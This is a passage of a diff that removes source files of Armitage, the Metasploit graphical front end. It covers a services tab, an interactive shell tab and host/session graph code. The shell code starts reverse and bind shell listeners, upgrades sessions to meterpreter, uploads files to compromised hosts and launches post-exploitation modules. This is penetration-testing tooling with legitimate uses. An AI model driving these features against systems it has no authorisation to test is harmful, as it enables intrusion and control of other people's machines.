[$refresh addActionListener: lambda({
|
|
||||||
thread(lambda({
|
|
||||||
local('$services');
|
|
||||||
$services = call($mclient, "db.services");
|
|
||||||
if ('services' in $services) {
|
|
||||||
_refreshServices($services['services']);
|
|
||||||
updateServiceModel(\$hosts, \$model);
|
|
||||||
}
|
|
||||||
}, \$hosts, \$model));
|
|
||||||
}, \$model, $hosts => $1)];
|
|
||||||
|
|
||||||
$copy = [new JButton: "Copy"];
|
|
||||||
[$copy addActionListener: lambda({
|
|
||||||
local('%r $val $hosts');
|
|
||||||
%r = %();
|
|
||||||
foreach $val ([$model getSelectedValues: $table]) {
|
|
||||||
%r[$val] = 1;
|
|
||||||
}
|
|
||||||
$hosts = keys(%r);
|
|
||||||
setClipboard(join(", ", $hosts));
|
|
||||||
showError("Copied selected hosts to clipboard");
|
|
||||||
}, \$model, \$table)];
|
|
||||||
|
|
||||||
updateServiceModel($hosts => $1, \$model);
|
|
||||||
|
|
||||||
[$panel add: center($refresh, $copy), [BorderLayout SOUTH]];
|
|
||||||
[$frame addTab: "Services", $panel, $null];
|
|
||||||
}
|
|
|
@ -1,365 +0,0 @@
|
||||||
#
|
|
||||||
# creates a tab for interacting with a shell...
|
|
||||||
#
|
|
||||||
|
|
||||||
import console.*;
|
|
||||||
import armitage.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
global('%shells $ashell $achannel %maxq %wait');
|
|
||||||
|
|
||||||
%handlers["execute"] = {
|
|
||||||
this('$command $channel $pid');
|
|
||||||
|
|
||||||
if ($0 eq "execute") {
|
|
||||||
($channel, $pid) = $null;
|
|
||||||
|
|
||||||
if ($2 ismatch "execute -t -H -c -f (.*?)") {
|
|
||||||
($command) = matched();
|
|
||||||
}
|
|
||||||
else if ($2 ismatch "execute -t -H -f (.*?) -c") {
|
|
||||||
($command) = matched();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($0 eq "update" && $2 ismatch 'Channel (\d+) created.') {
|
|
||||||
($channel) = matched();
|
|
||||||
}
|
|
||||||
else if ($0 eq "update" && $2 ismatch 'Process (\d+) created.') {
|
|
||||||
($pid) = matched();
|
|
||||||
}
|
|
||||||
else if ($0 eq "end" && $channel !is $null && $pid !is $null) {
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
local('$console');
|
|
||||||
|
|
||||||
$console = [new Console: $preferences];
|
|
||||||
logCheck($console, sessionToHost($sid), "cmd_ $+ $sid $+ _ $+ $pid");
|
|
||||||
|
|
||||||
%shells[$sid][$channel] = $console;
|
|
||||||
|
|
||||||
[[$console getInput] addActionListener: lambda({
|
|
||||||
local('$file $text $handle');
|
|
||||||
|
|
||||||
$text = [[$console getInput] getText];
|
|
||||||
[[$console getInput] setText: ""];
|
|
||||||
|
|
||||||
if (%wait[$channel]) {
|
|
||||||
[$console append: "[*] Dropped. Waiting for previous command to finish.\n" . [[$console getPromptText] trim]];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
# work around for a whacky behavior with Java meterpreter...
|
|
||||||
if ([$text trim] eq "" && "*java*" iswm sessionPlatform($sid)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
%wait[$channel] = 1;
|
|
||||||
m_cmd($sid, "write -c $channel $text");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$handle = openf(">command $+ $sid $+ .txt");
|
|
||||||
deleteOnExit("command $+ $sid $+ .txt");
|
|
||||||
writeb($handle, "$text $+ \r\n");
|
|
||||||
closef($handle);
|
|
||||||
$file = getFileProper("command $+ $sid $+ .txt");
|
|
||||||
|
|
||||||
%wait[$channel] = 1;
|
|
||||||
m_cmd($sid, "write -f \"" . strrep($file, "\\", "/") . "\" $channel");
|
|
||||||
}
|
|
||||||
}, \$sid, \$console, \$channel)];
|
|
||||||
|
|
||||||
[$frame addTab: "$command $pid $+ @ $+ $sid", $console, lambda({
|
|
||||||
m_cmd($sid, "close $channel");
|
|
||||||
m_cmd($sid, "kill $pid");
|
|
||||||
%shells[$sid][$channel] = $null;
|
|
||||||
}, \$sid, \$channel, \$console, \$pid, \$console), "$command $pid $+ @" . sessionToHost($sid)];
|
|
||||||
|
|
||||||
m_cmd($sid, "read $channel");
|
|
||||||
}, \$command, \$channel, \$pid, $sid => $1));
|
|
||||||
}
|
|
||||||
else if ($0 eq "end") {
|
|
||||||
showError($2);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
%handlers["write"] = {
|
|
||||||
this('$channel $ashell');
|
|
||||||
|
|
||||||
if ($0 eq "execute" && $2 ismatch 'write -f .*? (\d+)') {
|
|
||||||
($channel) = matched();
|
|
||||||
$ashell = %shells[$1][$channel];
|
|
||||||
}
|
|
||||||
else if ($0 eq "execute" && $2 ismatch 'write -c (\d+) .*') {
|
|
||||||
($channel) = matched();
|
|
||||||
$ashell = %shells[$1][$channel];
|
|
||||||
}
|
|
||||||
else if ($0 eq "update" && $2 ismatch '\[\*]\ Wrote \d+ bytes to channel (\d+)\.') {
|
|
||||||
deleteFile("command $+ $1 $+ .txt");
|
|
||||||
|
|
||||||
local('$channel $ashell');
|
|
||||||
($channel) = matched();
|
|
||||||
m_cmd($1, "read $channel");
|
|
||||||
}
|
|
||||||
else if ($0 eq "update" && $2 ismatch '\[\-\] .*?' && $ashell !is $null) {
|
|
||||||
[$ashell append: "\n $+ $2"];
|
|
||||||
$ashell = $null;
|
|
||||||
}
|
|
||||||
else if ($0 eq "timeout") {
|
|
||||||
deleteFile("command $+ $1 $+ .txt");
|
|
||||||
m_cmd($1, "read $channel");
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
%handlers["read"] = {
|
|
||||||
if ($0 eq "update") {
|
|
||||||
if ($2 ismatch 'Read \d+ bytes from (\d+):') {
|
|
||||||
local('$channel');
|
|
||||||
($channel) = matched();
|
|
||||||
$ashell = %shells[$1][$channel];
|
|
||||||
$achannel = $channel;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($0 eq "end" && $ashell !is $null) {
|
|
||||||
local('$v $count');
|
|
||||||
$v = split("\n", [$2 trim]);
|
|
||||||
$count = size($v);
|
|
||||||
shift($v);
|
|
||||||
|
|
||||||
while (size($v) > 0 && $v[0] eq "") {
|
|
||||||
shift($v);
|
|
||||||
}
|
|
||||||
#$v = substr($v, join("\n", $v));
|
|
||||||
[$ashell append: [$ashell getPromptText] . join("\n", $v)];
|
|
||||||
$ashell = $null;
|
|
||||||
|
|
||||||
# look for a prompt at the end of the text... if there isn't one,
|
|
||||||
# then it's time to do another read.
|
|
||||||
if (size($v) > 0 && $v[-1] ismatch '.*?[>]{1,2}\s*[\w\d.]+') {
|
|
||||||
# this is to catch cases like dir /s c:\ >>somefile.txt
|
|
||||||
# doing an immediate read sometimes creates problems.
|
|
||||||
# this prevents the read from being immediate so the
|
|
||||||
# channel doesn't lock up.
|
|
||||||
|
|
||||||
# if the command returns faster (e.g., echo "whatever" >somefile)
|
|
||||||
# then this condition will never trigger as the prompt will end
|
|
||||||
# the text.
|
|
||||||
sleep(1500);
|
|
||||||
m_cmd($1, "read $achannel");
|
|
||||||
}
|
|
||||||
else if (size($v) > 0 && $v[-1] ismatch '.*?\\? \\(Yes/No/All\\):') {
|
|
||||||
# make our shell heuristic tolerant of prompts like this.
|
|
||||||
%wait[$achannel] = $null;
|
|
||||||
}
|
|
||||||
else if (size($v) > 0 && $v[-1] ismatch '.*?\\(Y/N\\)\\?') {
|
|
||||||
# make our shell heuristic tolerant of prompts like this.
|
|
||||||
%wait[$achannel] = $null;
|
|
||||||
}
|
|
||||||
else if (size($v) > 0 && $v[-1] ismatch '.*?:') {
|
|
||||||
# make our shell heuristic tolerant of more prompts... this is from the time command
|
|
||||||
%wait[$achannel] = $null;
|
|
||||||
}
|
|
||||||
else if (size($v) > 0 && $v[-1] !ismatch '(.*?):\\\\.*?\\>') {
|
|
||||||
m_cmd($1, "read $achannel");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
%wait[$achannel] = $null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
sub createShellTab {
|
|
||||||
m_cmd($1, "execute -t -H -c -f cmd.exe");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createCommandTab {
|
|
||||||
m_cmd($1, "execute -t -H -c -f $2");
|
|
||||||
}
|
|
||||||
|
|
||||||
sub shellPopup {
|
|
||||||
local('$popup');
|
|
||||||
$popup = [new JPopupMenu];
|
|
||||||
showShellMenu($popup, \$session, \$sid);
|
|
||||||
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub showShellMenu {
|
|
||||||
item($1, "Interact", 'I', lambda(&createShellSessionTab, \$sid, \$session));
|
|
||||||
|
|
||||||
setupMenu($1, "shell", @($sid));
|
|
||||||
|
|
||||||
if ("*Windows*" iswm sessionToOS($sid)) {
|
|
||||||
item($1, "Meterpreter...", 'M', lambda({
|
|
||||||
call_async($client, "session.shell_upgrade", $sid, $MY_ADDRESS, randomPort());
|
|
||||||
}, \$sid));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
item($1, "Upload...", 'U', lambda({
|
|
||||||
local('$file $name $n');
|
|
||||||
$file = chooseFile($title => "Select file to upload", $always => 1);
|
|
||||||
$name = getFileName($file);
|
|
||||||
|
|
||||||
if ($file !is $null) {
|
|
||||||
local('$progress');
|
|
||||||
$progress = [new ProgressMonitor: $null, "Uploading $name", "Uploading $name", 0, lof($file)];
|
|
||||||
|
|
||||||
call($client, "session.shell_write", $sid, "rm -f $name $+ \n");
|
|
||||||
|
|
||||||
thread(lambda({
|
|
||||||
local('$handle $bytes $string $t $start $n $cancel');
|
|
||||||
$handle = openf($file);
|
|
||||||
$start = ticks();
|
|
||||||
|
|
||||||
while $bytes (readb($handle, 768)) {
|
|
||||||
yield 1;
|
|
||||||
|
|
||||||
if ([$progress isCanceled]) {
|
|
||||||
call_async($client, "session.shell_write", $sid, "rm -f $name $+ \n");
|
|
||||||
closef($handle);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
# convert the bytes to to octal escapes
|
|
||||||
$string = join("", map({
|
|
||||||
return "\\" . formatNumber($1, 10, 8);
|
|
||||||
}, unpack("B*", $bytes)));
|
|
||||||
|
|
||||||
call($client, "session.shell_write", $sid, "`which printf` \" $+ $string $+ \" >> $+ $name $+ \n");
|
|
||||||
|
|
||||||
$t += strlen($bytes);
|
|
||||||
[$progress setProgress: $t];
|
|
||||||
$n = (ticks() - $start) / 1000.0;
|
|
||||||
if ($n > 0) {
|
|
||||||
[$progress setNote: "Speed: " . round($t / $n) . " bytes/second"];
|
|
||||||
}
|
|
||||||
|
|
||||||
if (available($handle) == 0) {
|
|
||||||
closef($handle);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
closef($handle);
|
|
||||||
return;
|
|
||||||
}, \$file, \$sid, \$progress, \$name));
|
|
||||||
}
|
|
||||||
}, \$sid));
|
|
||||||
item($1, "Pass Session", 'S', lambda({
|
|
||||||
launch_dialog("Pass Session", "post", "multi/manage/system_session", 1, $null, %(SESSION => $sid, LPORT => randomPort(), HANDLER => "1"));
|
|
||||||
}, \$sid));
|
|
||||||
}
|
|
||||||
|
|
||||||
item($1, "Post Modules", 'P', lambda({
|
|
||||||
if ("*Windows*" iswm sessionToOS($sid)) {
|
|
||||||
showPostModules($sid);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
showPostModules($sid, "*",
|
|
||||||
ohash(exploit => buildTree(filter({ return iff("*u*x/local/*" iswm $1, $1); }, @exploits)))
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}, \$sid));
|
|
||||||
|
|
||||||
separator($1);
|
|
||||||
item($1, "Disconnect", 'D', lambda({
|
|
||||||
call_async($client, "session.stop", $sid);
|
|
||||||
}, \$sid));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createShellSessionTab {
|
|
||||||
local('$console');
|
|
||||||
$console = [new Console: $preferences];
|
|
||||||
logCheck($console, sessionToHost($sid), "shell_ $+ $sid");
|
|
||||||
[$console setDefaultPrompt: '$ '];
|
|
||||||
[$console setPopupMenu: lambda(&shellPopup, \$session, \$sid)];
|
|
||||||
|
|
||||||
thread(lambda({
|
|
||||||
local('%r $thread');
|
|
||||||
|
|
||||||
%r = call($mclient, "armitage.lock", $sid, "tab is already open");
|
|
||||||
if (%r["error"]) {
|
|
||||||
showError(%r["error"]);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$thread = [new ConsoleClient: $console, rand(@POOL), "session.shell_read", "session.shell_write", $null, $sid, 0];
|
|
||||||
[$frame addTab: "Shell $sid", $console, lambda({
|
|
||||||
call_async($mclient, "armitage.unlock", $sid);
|
|
||||||
[$thread kill];
|
|
||||||
}, \$sid, \$thread), "Shell " . sessionToHost($sid)];
|
|
||||||
}, \$sid, \$console));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub listen_for_shellz {
|
|
||||||
local('$dialog $port $type $panel $button');
|
|
||||||
$dialog = dialog("Create Listener", 640, 480);
|
|
||||||
|
|
||||||
$port = [new ATextField: randomPort() + "", 6];
|
|
||||||
$type = [new JComboBox: @("shell", "meterpreter")];
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new GridLayout: 2, 1]];
|
|
||||||
|
|
||||||
[$panel add: label_for("Port: ", 100, $port)];
|
|
||||||
[$panel add: label_for("Type: ", 100, $type)];
|
|
||||||
|
|
||||||
$button = [new JButton: "Start Listener"];
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('%options');
|
|
||||||
%options["PAYLOAD"] = iff([$type getSelectedItem] eq "shell", "generic/shell_reverse_tcp", "windows/meterpreter/reverse_tcp");
|
|
||||||
%options["LHOST"] = "0.0.0.0";
|
|
||||||
%options["LPORT"] = [$port getText];
|
|
||||||
%options["ExitOnSession"] = "false";
|
|
||||||
call_async($client, "module.execute", "exploit", "multi/handler", %options);
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$dialog, \$port, \$type)];
|
|
||||||
|
|
||||||
[$dialog add: $panel, [BorderLayout CENTER]];
|
|
||||||
[$dialog add: center($button), [BorderLayout SOUTH]];
|
|
||||||
[$dialog pack];
|
|
||||||
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
sub connect_for_shellz {
|
|
||||||
local('$dialog $host $port $type $panel $button');
|
|
||||||
$dialog = dialog("Connect", 640, 480);
|
|
||||||
|
|
||||||
$host = [new ATextField: "127.0.0.1", 20];
|
|
||||||
$port = [new ATextField: randomPort() + "", 6];
|
|
||||||
$type = [new JComboBox: @("shell", "meterpreter")];
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new GridLayout: 3, 1]];
|
|
||||||
|
|
||||||
[$panel add: label_for("Host: ", 100, $host)];
|
|
||||||
[$panel add: label_for("Port: ", 100, $port)];
|
|
||||||
[$panel add: label_for("Type: ", 100, $type)];
|
|
||||||
|
|
||||||
$button = [new JButton: "Connect"];
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('%options');
|
|
||||||
%options["PAYLOAD"] = iff([$type getSelectedItem] eq "shell", "generic/shell_bind_tcp", "windows/meterpreter/bind_tcp");
|
|
||||||
%options["LPORT"] = [$port getText];
|
|
||||||
%options["RHOST"] = [$host getText];
|
|
||||||
warn(%options);
|
|
||||||
call_async($client, "module.execute", "exploit", "multi/handler", %options);
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}, \$dialog, \$port, \$type, \$host)];
|
|
||||||
|
|
||||||
[$dialog add: $panel, [BorderLayout CENTER]];
|
|
||||||
[$dialog add: center($button), [BorderLayout SOUTH]];
|
|
||||||
[$dialog pack];
|
|
||||||
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
|
@ -1,445 +0,0 @@
|
||||||
#
|
|
||||||
# this code handles the plumbing behind the nifty targets tab... user code can redefine any of these
|
|
||||||
# functions... so you can use what's here or build your own stuff.
|
|
||||||
#
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
|
|
||||||
import armitage.*;
|
|
||||||
import graph.*;
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
|
|
||||||
global('%hosts $targets');
|
|
||||||
|
|
||||||
sub getHostOS {
|
|
||||||
return iff($1 in %hosts, %hosts[$1]['os_name'], $null);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub getHostLabel {
|
|
||||||
return iff($1 in %hosts, %hosts[$1]['label'], $null);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub getSessions {
|
|
||||||
return iff($1 in %hosts && 'sessions' in %hosts[$1], %hosts[$1]['sessions']);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub sessionToOS {
|
|
||||||
return getHostOS(sessionToHost($1));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub sessionData {
|
|
||||||
local('$host $data');
|
|
||||||
foreach $host => $data (%hosts) {
|
|
||||||
if ('sessions' in $data && $1 in $data['sessions']) {
|
|
||||||
return $data['sessions'][$1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub sessionPlatform {
|
|
||||||
local('$data');
|
|
||||||
$data = sessionData($1);
|
|
||||||
if ('platform' in $data) {
|
|
||||||
return $data['platform'];
|
|
||||||
}
|
|
||||||
return $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub sessionToHost {
|
|
||||||
local('$host $data');
|
|
||||||
foreach $host => $data (%hosts) {
|
|
||||||
if ('sessions' in $data && $1 in $data['sessions']) {
|
|
||||||
return $host;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
on sessions {
|
|
||||||
local('$address $key $session $data @routes @highlights $highlight $id $host $route $mask $peer %addr @nodes');
|
|
||||||
$data = $1;
|
|
||||||
# warn("&refreshSessions - $data");
|
|
||||||
|
|
||||||
# clear all sessions from the hosts
|
|
||||||
map({ $1['sessions'] = %(); }, values(%hosts));
|
|
||||||
|
|
||||||
foreach $key => $session ($data) {
|
|
||||||
$address = $session['session_host'];
|
|
||||||
$peer = split(':', $session['tunnel_peer'])[0];
|
|
||||||
|
|
||||||
if ($address eq "") {
|
|
||||||
$address = $session['target_host'];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($address eq "") {
|
|
||||||
$address = $peer;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($address !in %hosts) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
%hosts[$address]['sessions'][$key] = $session;
|
|
||||||
%addr[$key] = $address;
|
|
||||||
|
|
||||||
# add a highlight / route for a firewall / NAT device
|
|
||||||
if ($peer ne $address && $peer ne "") {
|
|
||||||
push(@routes, [new Route: $address, "255.255.255.255", $peer]);
|
|
||||||
push(@highlights, @($peer, $address));
|
|
||||||
}
|
|
||||||
|
|
||||||
# save the route information related to this meterpreter session
|
|
||||||
if ($session['routes'] ne "") {
|
|
||||||
foreach $route (split(',', $session['routes'])) {
|
|
||||||
($host, $mask) = split('/', $route);
|
|
||||||
push(@routes, [new Route: $host, $mask, $address]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# setup the highlighted edges
|
|
||||||
foreach $route (@routes) {
|
|
||||||
$gateway = [$route getGateway];
|
|
||||||
foreach $key => $session ($data) {
|
|
||||||
$host = %addr[$key];
|
|
||||||
if ($gateway ne $host && [$route shouldRoute: $host]) {
|
|
||||||
push(@highlights, @($gateway, $host));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# create a data structure with id, description, icon, and tooltip
|
|
||||||
foreach $id => $host (%hosts) {
|
|
||||||
local('$tooltip');
|
|
||||||
if ('os_match' in $host) {
|
|
||||||
$tooltip = $host['os_match'];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$tooltip = "I know nothing about $id";
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($host['show'] eq "1") {
|
|
||||||
push(@nodes, @($id, $host['label'] . "", describeHost($host), showHost($host), $tooltip));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[SwingUtilities invokeLater: let(&refreshGraph, \@routes, \@highlights, \@nodes)];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub refreshGraph {
|
|
||||||
local('$node $id $label $description $icons $tooltip $highlight');
|
|
||||||
|
|
||||||
# update everything...
|
|
||||||
[$graph start];
|
|
||||||
# do the hosts?
|
|
||||||
foreach $node (@nodes) {
|
|
||||||
($id, $label, $description, $icons, $tooltip) = $node;
|
|
||||||
[$graph addNode: $id, $label, $description, $icons, $tooltip];
|
|
||||||
}
|
|
||||||
|
|
||||||
# update the routes
|
|
||||||
[$graph setRoutes: cast(@routes, ^Route)];
|
|
||||||
|
|
||||||
foreach $highlight (@highlights) {
|
|
||||||
[$graph highlightRoute: $highlight[0], $highlight[1]];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$graph deleteNodes];
|
|
||||||
[$graph end];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _refreshServices {
|
|
||||||
local('$service $host $port');
|
|
||||||
|
|
||||||
# clear all sessions from the hosts
|
|
||||||
map({ $1['services'] = %(); }, values(%hosts));
|
|
||||||
|
|
||||||
foreach $service ($1) {
|
|
||||||
($host, $port) = values($service, @('host', 'port'));
|
|
||||||
%hosts[$host]['services'][$port] = $service;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
on services {
|
|
||||||
_refreshServices($1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub quickParse {
|
|
||||||
if ($1 ismatch '.*? host=(.*?)(?:\s*service=.*?){0,1}\s*type=(.*?)\s+data=\\{(.*?)\\}') {
|
|
||||||
local('$host $type $data %r $key $value');
|
|
||||||
($host, $type, $data) = matched();
|
|
||||||
%r = %(host => $host, type => $type);
|
|
||||||
while ($data hasmatch ':([a-z_]+)\=\>"([^"]+)"') {
|
|
||||||
($key, $value) = matched();
|
|
||||||
%r[$key] = $value;
|
|
||||||
}
|
|
||||||
return %r;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
on hosts {
|
|
||||||
local('$host $data $address %newh @fixes $key $value');
|
|
||||||
$data = $1;
|
|
||||||
# warn("&refreshHosts - $data");
|
|
||||||
|
|
||||||
foreach $host ($data) {
|
|
||||||
$address = $host['address'];
|
|
||||||
if ($address in %hosts && size(%hosts[$address]) > 1) {
|
|
||||||
%newh[$address] = %hosts[$address];
|
|
||||||
|
|
||||||
# set the label to empty b/c team server won't add labels if there are no labels. This fixes
|
|
||||||
# a corner case where a user might clear all labels and find they won't go away
|
|
||||||
%newh[$address]['label'] = '';
|
|
||||||
|
|
||||||
putAll(%newh[$address], keys($host), values($host));
|
|
||||||
|
|
||||||
if ($host['os_name'] eq "") {
|
|
||||||
%newh[$address]['os_name'] = "Unknown";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
%newh[$address]['os_match'] = join(" ", values($host, @('os_name', 'os_flavor', 'os_sp')));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$host['sessions'] = %();
|
|
||||||
$host['services'] = %();
|
|
||||||
%newh[$address] = $host;
|
|
||||||
|
|
||||||
if ($host['os_name'] eq "" || $host['os_name'] eq "Unknown") {
|
|
||||||
$host['os_name'] = "Unknown";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
%newh[$address]['os_match'] = join(" ", values($host, @('os_name', 'os_flavor', 'os_sp')));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# we saw this in our hosts, it's ok to show it in the viz.
|
|
||||||
%newh[$address]['show'] = 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
%hosts = %newh;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub auto_layout_function {
|
|
||||||
return lambda({
|
|
||||||
[$graph setAutoLayout: $string];
|
|
||||||
[$preferences setProperty: "graph.default_layout.layout", $string];
|
|
||||||
savePreferences();
|
|
||||||
}, $string => $1, $graph => $2);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub graph_items {
|
|
||||||
local('$a $b $c');
|
|
||||||
|
|
||||||
setupMenu($1, "graph", @());
|
|
||||||
|
|
||||||
$a = menu($1, 'Auto-Layout', 'A');
|
|
||||||
item($a, 'Circle', 'C', auto_layout_function('circle', $2));
|
|
||||||
item($a, 'Hierarchy', 'H', auto_layout_function('hierarchical', $2));
|
|
||||||
item($a, 'Stack', 'S', auto_layout_function('stack', $2));
|
|
||||||
separator($a);
|
|
||||||
item($a, 'None', 'N', auto_layout_function('', $2));
|
|
||||||
|
|
||||||
$b = menu($1, 'Layout', 'L');
|
|
||||||
item($b, 'Circle', 'C', lambda({ [$graph doCircleLayout]; }, $graph => $2));
|
|
||||||
item($b, 'Hierarchy', 'H', lambda({ [$graph doHierarchicalLayout]; }, $graph => $2));
|
|
||||||
item($b, 'Stack', 'S', lambda({ [$graph doStackLayout]; }, $graph => $2));
|
|
||||||
|
|
||||||
$c = menu($1, 'Zoom', 'Z');
|
|
||||||
item($c, 'In', 'I', lambda({ [$graph zoom: 0.25]; }, $graph => $2));
|
|
||||||
item($c, 'Out', 'O', lambda({ [$graph zoom: -0.25]; }, $graph => $2));
|
|
||||||
separator($c);
|
|
||||||
item($c, 'Reset', 'R', lambda({ [$graph resetZoom]; }, $graph => $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _importHosts {
|
|
||||||
local('$console $success $file');
|
|
||||||
$success = size($files);
|
|
||||||
foreach $file ($files) {
|
|
||||||
$file = '"' . $file . '"';
|
|
||||||
}
|
|
||||||
|
|
||||||
$console = createDisplayTab("Import", $file => "import");
|
|
||||||
[$console addCommand: 'x', "db_import " . strrep(join(" ", $files), "\\", "\\\\")];
|
|
||||||
[$console addListener: lambda({
|
|
||||||
elog("imported hosts from $success file" . iff($success != 1, "s"));
|
|
||||||
}, \$success)];
|
|
||||||
[$console start];
|
|
||||||
[$console stop];
|
|
||||||
}
|
|
||||||
|
|
||||||
# need to pass this function a $command local...
|
|
||||||
sub importHosts {
|
|
||||||
local('$files $thread $closure');
|
|
||||||
$files = iff(size(@_) > 0, @($1), chooseFile($multi => 1, $always => 1));
|
|
||||||
if ($files is $null || size($files) == 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
# upload the files please...
|
|
||||||
if ($client !is $mclient) {
|
|
||||||
$closure = lambda(&_importHosts);
|
|
||||||
$thread = [new ArmitageThread: $closure];
|
|
||||||
|
|
||||||
fork({
|
|
||||||
local('$file');
|
|
||||||
foreach $file ($files) {
|
|
||||||
$file = uploadBigFile($file);
|
|
||||||
}
|
|
||||||
$closure['$files'] = $files;
|
|
||||||
[$thread start];
|
|
||||||
}, \$mclient, \$files, \$thread, \$closure);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
thread(lambda(&_importHosts, \$files));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# setHostValueFunction(@hosts, varname, value)
|
|
||||||
# returns a function that when called will update the metasploit database
|
|
||||||
sub setHostValueFunction {
|
|
||||||
return lambda({
|
|
||||||
local('$host %map $key $value');
|
|
||||||
|
|
||||||
while (size(@args) >= 2) {
|
|
||||||
($key, $value) = sublist(@args, 0, 2);
|
|
||||||
%map[$key] = $value;
|
|
||||||
shift(@args);
|
|
||||||
shift(@args);
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach $host (@hosts) {
|
|
||||||
%map['host'] = $host;
|
|
||||||
call_async($mclient, "db.report_host", %map);
|
|
||||||
}
|
|
||||||
}, @hosts => $1, @args => sublist(@_, 1));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub clearHostFunction {
|
|
||||||
return lambda({
|
|
||||||
thread(lambda({
|
|
||||||
local('@hosts2 $host @commands $queue');
|
|
||||||
$queue = [new armitage.ConsoleQueue: $client];
|
|
||||||
@hosts2 = copy(@hosts);
|
|
||||||
while (size(@hosts2) > 0) {
|
|
||||||
[$queue addCommand: $null, "hosts -d " . join(" ", sublist(@hosts2, 0, 20))];
|
|
||||||
|
|
||||||
if (size(@hosts2) > 20) {
|
|
||||||
@hosts2 = sublist(@hosts2, 20);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
@hosts2 = @();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
[$queue addCommand: "x", "hosts -h"];
|
|
||||||
[$queue addListener: lambda({
|
|
||||||
elog("removed " . size(@hosts) . iff(size(@hosts) == 1, " host", " hosts"));
|
|
||||||
[$queue stop];
|
|
||||||
}, \@hosts, \$queue)];
|
|
||||||
|
|
||||||
[$queue start];
|
|
||||||
}, \@hosts));
|
|
||||||
}, @hosts => $1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub clearDatabase {
|
|
||||||
if (!askYesNo("This action will clear the database. You will lose all information\ncollected up to this point. You will not be able toget it back.\nWould you like to clear the database?", "Clear Database")) {
|
|
||||||
elog("cleared the database");
|
|
||||||
call_async($mclient, "db.clear");
|
|
||||||
}
|
|
||||||
